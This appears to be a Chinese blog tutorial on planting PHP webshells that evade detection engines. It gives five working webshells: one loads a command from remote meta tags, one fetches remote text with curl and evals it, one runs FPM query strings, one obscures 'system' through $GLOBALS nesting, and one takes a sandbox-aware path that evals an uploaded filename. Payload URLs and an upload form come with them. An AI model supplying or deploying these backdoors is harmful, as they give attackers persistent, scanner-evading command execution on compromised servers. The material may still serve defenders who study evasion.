WEB安全--RCE--webshell bypass

一、get_meta_tags

原理:

用PHP的get_meta_tags()函数获取远程服务器中html页面的meta标签中的值,我们将meta的值设为如下命令执行语句,就能被webshell接收并拼接成

system(whoami);

这样的形式在受害机上执行。

服务器内容:

html 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="a" content="system">
    <meta name="b" content="whoami">
    <title>Document</title>
</head>
<body>
    <div>
        webshell bypass
    </div>
</body>
</html>

webshell:

php 复制代码
<?php
get_meta_tags("http://127.0.0.1/rce/bypass.html")["a"](get_meta_tags("http://127.0.0.1/rce/bypass.html")["b"]);

访问webshell执行命令:

二、curl

原理:

使用PHP的curl命令访问远程服务器的txt文件,将文件内容赋值给$output变量,并用

eval($output)

这种方式执行txt文件中的内容system(whoami);实现命令执行。

1.txt:

php 复制代码
system(whoami);

webshell:

php 复制代码
<?php
$url="http://127.0.0.1/rce/1.txt";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//curl_setopt($ch,CURLOPT_HTTPHEADER,$headerArray);
$output = curl_exec($ch);
curl_close($ch);
echo $output;
eval($output);
?>

三、fpm_get_status

原理:

fpm_get_status用于获取 PHP-FPM(FastCGI Process Manager)的状态信息。

我们可以在打印fpm_get_status()信息时传参,这样其中的query-string就会接收到我们传递的值

并且在执行的时候可能是不同的进程,也就是你所在的数组可能是数组0也可能是数组1,所以进行for循环,循环出来就可以百分百执行命令

webshell:

php 复制代码
<?php
foreach(fpm_get_status()["procs"] as $val){
 system($val["query-string"]);
}

payload:

php 复制代码
127.0.0.1/rce/bypass.php?whoami

四、$GLOBALS

原理:

当查杀引擎对GLOBALS全局变量传参点进行了检测,但是没有严格执行递归检测,就可以通过获取多个GLOBALS参数干扰检测

然后用[_GET]获取我们URL中传递的命令

由于system会被拦截,所以通过substr(timezone_version_get(),2)的方式获取system

最后通过system执行命令

webshell:

php 复制代码
<?php
$m=($GLOBALS[GLOBALS][GLOBALS][GLOBALS][GLOBALS][GLOBALS][GLOBALS][GLOBALS][GLOBALS][GLOBALS
][_GET][b]);
substr(timezone_version_get(),2)($m);

payload:

php 复制代码
127.0.0.1/rce/bypass.php?b=whoami

五、隐藏污点

webshell:

php 复制代码
<?php
$b = "111";
$c = "222";
if(get_cfg_var('error_reporting')>0){
 $b="#";
}
$a = array( "one"=>$c,"two"=>&$c );
$url = "http://127.0.0.1".$b."?a=1";
$d =parse_url($url);
if($d['query']){
 $c="echo 111;";
}
else{
 $c=$_FILES['useraccount']['name'];
}
var_dump($a["two"]);
eval($a["two"]);
?>

查杀引擎检测代码走的路径:

b="111" c="111"

==> $url="http://127.0.0.1/111?a=1"

==> $d['query']="a=1"

==> $c="echo 111"

==> $a[two]="echo 111"

==> eval(echo 111)

实际访问时代码走的路径:

b="111" c="111"

==> $url="http://127.0.0.1/#?a=1"

==> $d['query']=NULL

==> c=_FILES['useraccount']['name']

==> a\[two\]=_FILES['useraccount']['name']

==> eval($_FILES['useraccount']['name'])

主要原因是这一步get_cfg_var('error_reporting'),当动态查杀引擎没有配置error_reporting这个参数,而真实环境中配置了该参数,那么走向就会截然不同,在上面代码中就会让 $b="#"

d =parse_url(url)是以数组形式获取url中的各个值,不过当url中有#时,其后面的内容就会被忽略,所以$d['query']=NULL,于是就走到else判断中去了

配合文件上传:

html 复制代码
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>upload</title>
</head>
<body>
    <form action="bypass.php" method="post" enctype="multipart/form-data">
        <input type="file" name="useraccount">
        <input type="submit" value="upload">
    </form>
</body>
</html>

注意 :<input type="file" name="useraccount">

修改filename字段:system('whoami');

相关推荐
伤不起bb2 小时前
MySQL 高可用
linux·运维·数据库·mysql·安全·高可用
shykevin4 小时前
python开发Streamable HTTP MCP应用
开发语言·网络·python·网络协议·http
tmacfrank5 小时前
网络编程中的直接内存与零拷贝
java·linux·网络
数据与人工智能律师7 小时前
虚拟主播肖像权保护,数字时代的法律博弈
大数据·网络·人工智能·算法·区块链
James. 常德 student7 小时前
网络安全知识点
安全·web安全·php
purrrew8 小时前
【Java ee初阶】HTTP(2)
网络·网络协议·http
玉笥寻珍10 小时前
筑牢信息安全防线:涉密计算机与互联网隔离的理论实践与风险防控
开发语言·计算机网络·安全·计算机外设·php·安全架构·安全性测试
hgdlip10 小时前
怎么快速换电脑浏览器的ip:方法与注意事项
网络·网络协议·tcp/ip·电脑
可怜的Tom被玩弄于股掌之中10 小时前
BUUCTF——Nmap
网络·安全·web安全·网络安全
今儿敲了吗11 小时前
计网| 网际控制报文协议(ICMP)
网络·智能路由器